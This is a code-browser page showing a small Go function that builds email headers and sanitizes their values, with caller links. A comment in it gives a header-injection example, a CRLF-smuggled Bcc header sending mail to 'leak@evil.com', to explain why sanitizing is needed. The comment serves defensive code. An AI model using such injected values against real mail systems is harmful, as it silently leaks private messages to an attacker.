MCPcopy Create free account
hub / github.com/Mnexa-AI/e2a / headerWriter

Function headerWriter

internal/outbound/compose.go:248–255  ·  view source on GitHub ↗
(buf *strings.Builder)

Source from the content-addressed store, hash-verified

246}
247
248func headerWriter(buf *strings.Builder) func(string, string) {
249 return func(key, value string) {
250 buf.WriteString(textproto.CanonicalMIMEHeaderKey(key))
251 buf.WriteString(": ")
252 buf.WriteString(sanitizeHeaderValue(value))
253 buf.WriteString("\r\n")
254 }
255}
256
257// sanitizeHeaderValue strips CR and LF to prevent header injection.
258// Without this, an attacker-controlled value like "abc\r\nBcc: leak@evil.com"

Callers 3

ComposeMessageFunction · 0.85
ComposeMultipartMessageFunction · 0.85

Calls 1

sanitizeHeaderValueFunction · 0.85

Tested by

no test coverage detected